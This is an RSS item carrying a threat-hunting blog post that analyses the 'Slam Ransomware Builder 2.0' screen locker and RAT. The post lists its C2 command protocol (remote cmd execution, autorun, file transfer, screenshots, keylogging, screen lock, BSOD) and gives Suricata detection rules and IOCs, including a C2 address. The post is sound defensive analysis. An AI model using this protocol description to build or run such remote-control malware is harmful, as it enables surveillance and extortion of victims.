		<link>https://ptesc.tech/en/slam-screen-locker-what-are-you/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Thu, 10 Oct 2024 18:53:19 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[suricata]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/slam-screen-locker-%d1%87%d1%82%d0%be-%d1%82%d1%8b-%d1%82%d0%b0%d0%ba%d0%be%d0%b5/</guid>

					<description><![CDATA[Slam screen locker. What are you? ☹️ Next up is fast malware analysis, conducted on one Sunday evening. An interesting sample flew into our networks, generating equally interesting network traffic (screenshot 1). This file (a .NET executabl…]]></description>
										<content:encoded><![CDATA[<strong>Slam screen locker. What are you?</strong> ☹️<br />
<br />
Next up is <strong>fast malware analysis</strong>, conducted on one Sunday evening.<br />
<br />
An interesting sample flew into our networks, generating equally interesting network traffic (<em>screenshot 1</em>).<br />
<br />
This file (a .NET executable) contains a non-obfuscated namespace <strong>Slam_Ransomware_Builder_2._0</strong> (<em>screenshot 2</em>). Its name is all too similar to the well-known-in-narrow-circles <strong>Slam Ransomware</strong>, just with a bigger version number. An example of builder 1.4 in action — <a href="https://app.any.run/tasks/7c513f90-4a37-4f58-b612-8c4fdd0925f6" rel="noopener" target="_blank">at the link.</a><br />
<br />
🏃‍♂️ A cursory analysis showed that the class <strong>Slam_Ransomware_Builder_2._0.Lock</strong> is responsible for locking the screen, and the class <strong>Slam_Ransomware_Builder_2._0.Chat</strong> implements the chat logic with the locker&#8217;s victim. <br />
<br />
Of greatest interest is the class <strong>ClientTest.ChatClient</strong>, which contains the implementation of the network protocol. From it, one can determine the full set of functions of the malware under investigation.<br />
<br />
<strong>• remote control</strong> (for example, LCD*&lt;coord_x&gt;*&lt;coord_y&gt; — emulation of a left mouse button click, Command#&lt;command&gt; — executing a command in cmd, SetStartup*&lt;prog_name&gt; — adding a program to autorun);<br />
<br />
<strong>• sending and receiving files</strong> (for example, ViewFiles*&lt;dir_path&gt;, the client sends back *FileTree*&lt;files&gt;*FileTree*, screenshot 3);<br />
<br />
<strong>• taking screenshots</strong> (for example, StartScreenShare*, StopScreenShare*, the client sends back SCREENSHOT*screen.jpg*&lt;file_size&gt;*&lt;user_name&gt;*&lt;form_id&gt;);<br />
<br />
<strong>• keylogger</strong> (for example, StartRealtimekeylogger*, StopRealtimekeylogger*, the client sends back SendrtKeylogger*&lt;key_code&gt;*).<br />
<br />
<strong>And much more</strong> — the scale of the RAT is impressive, any video conferencing client would be envious.<br />
<br />
😃 <strong>The nastiest and most interesting mischief</strong><br />
<br />
<strong>Command:</strong> LOCK*, LOCKUN*.<br />
<strong>Action:</strong> activate or deactivate the desktop locker.<br />
<br />
<strong>Command:</strong> textts*&lt;text_to_speek&gt;.<br />
<strong>Action:</strong> text to speech.<br />
<br />
<strong>Command:</strong> msgboxshow*&lt;title&gt;*&lt;msg&gt;*{Error,Information,Hand&#8230;}*&lt;buttons&gt;.<br />
<strong>Action:</strong> show a notification.<br />
<br />
<strong>Command:</strong> Wallpaper*&lt;path_to_img&gt;.<br />
<strong>Action: </strong>change the desktop image.<br />
<br />
<strong>Command:</strong> BSOD#.<br />
<strong>Action:</strong> trigger the blue screen of death.<br />
<br />
And the very first screenshot shows PING-PONG, which is easily covered by rules with flowbits:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">
alert tcp $EXTERNAL_NET any -&gt; $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8&lt;&gt;17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)

alert tcp $HOME_NET any -&gt; $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8&lt;&gt;17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)
</code></span></pre><br />
<br />
<strong>IOCs</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml">
<span class="hljs-attr">SHA-256:</span> <span class="hljs-string">e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b</span>
<span class="hljs-attr">C2:</span> <span class="hljs-number">77.231</span><span class="hljs-number">.153</span><span class="hljs-number">.42</span>
</code></span></pre><br />
<br />
Happy hunting!

<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/10/photo_86@10-10-2024_18-53-19-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/10/photo_86@10-10-2024_18-53-19-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/10/photo_86@10-10-2024_18-53-19-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/10/photo_86@10-10-2024_18-53-19-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/10/photo_86@10-10-2024_18-53-19-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/10/photo_86@10-10-2024_18-53-19.jpg 1098w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="683" src="https://ptesc.tech/wp-content/uploads/2024/10/photo_87@10-10-2024_18-53-19-1024x683.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/10/photo_87@10-10-2024_18-53-19-1024x683.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/10/photo_87@10-10-2024_18-53-19-300x200.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/10/photo_87@10-10-2024_18-53-19-768x512.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/10/photo_87@10-10-2024_18-53-19.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#Hunt</span> <span class="hashtag">#C2</span> <span class="hashtag">#Tips</span> <span class="hashtag">#IOC</span> <span class="hashtag">#detect</span> <span class="hashtag">#malware</span> <span class="hashtag">#network</span> <span class="hashtag">#suricata</span><br />
<br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
